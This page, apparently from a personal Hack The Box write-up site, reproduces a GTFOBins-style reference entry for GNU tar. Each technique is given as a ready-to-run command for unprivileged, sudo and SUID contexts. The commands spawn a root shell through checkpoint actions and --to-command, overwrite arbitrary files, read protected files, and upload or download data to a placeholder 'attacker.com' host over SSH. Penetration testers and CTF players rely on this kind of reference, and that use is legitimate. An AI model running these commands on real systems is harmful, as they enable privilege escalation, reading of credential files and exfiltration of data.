~/bokkapig
hack the box machine writeups

tar

Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
    tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
  2. Version requirementsGNU
    This function can be performed by any unprivileged user.
    tar xf /dev/null -I '/bin/sh -c "/bin/sh 0<&2 1>&2"'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    tar xf /dev/null -I '/bin/sh -c "/bin/sh 0<&2 1>&2"'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.
    tar xf /dev/null -I '/bin/sh -c "/bin/sh 0<&2 1>&2"'
  3. Version requirementsGNU
    CommentThe archive can also be prepared offline then uploaded to the target.
    This function can be performed by any unprivileged user.
    echo '/bin/sh 0<&1' >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar xf /path/to/temp-file.tar --to-command /bin/sh
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo '/bin/sh 0<&1' >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar xf /path/to/temp-file.tar --to-command /bin/sh
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    echo '/bin/sh 0<&1' >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar xf /path/to/temp-file.tar --to-command /bin/sh

File write

This executable can write data to local files.
  1. Version requirementsGNU
    CommentThe archive can also be prepared offline then uploaded to the target.
    This function can be performed by any unprivileged user.
    echo DATA >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar Pxf /path/to/temp-file.tar --xform s@.*@/path/to/output-file@
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo DATA >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar Pxf /path/to/temp-file.tar --xform s@.*@/path/to/output-file@
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    echo DATA >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar Pxf /path/to/temp-file.tar --xform s@.*@/path/to/output-file@

File read

This executable can read data from local files.
  1. Version requirementsGNU
    CommentThe file is read then passed to the specified command (e.g., tar xO) via standard input.
    This function can be performed by any unprivileged user.
    tar cf /dev/stdout /path/to/input-file -I 'tar xO'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    tar cf /dev/stdout /path/to/input-file -I 'tar xO'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    tar cf /dev/stdout /path/to/input-file -I 'tar xO'

Upload

This executable can upload local data.
  1. Version requirementsGNU
    CommentThe attacker box must have the rmt utility installed.
    This function can be performed by any unprivileged user.
    tar cvf user@attacker.com:/path/to/output-file /path/to/input-file --rsh-command=/bin/ssh
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    tar cvf user@attacker.com:/path/to/output-file /path/to/input-file --rsh-command=/bin/ssh
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    tar cvf user@attacker.com:/path/to/output-file /path/to/input-file --rsh-command=/bin/ssh
    ReceiverAn SSH server can be used on the attacker box to receive the data.

Download

This executable can download remote data.
  1. Version requirementsGNU
    CommentThe attacker box must have the rmt utility installed.
    This function can be performed by any unprivileged user.
    tar xvf user@attacker.com:/path/to/input-file.tar --rsh-command=/bin/ssh
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    tar xvf user@attacker.com:/path/to/input-file.tar --rsh-command=/bin/ssh
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    tar xvf user@attacker.com:/path/to/input-file.tar --rsh-command=/bin/ssh
    SenderAn SSH server can be used on the attacker box to send the data.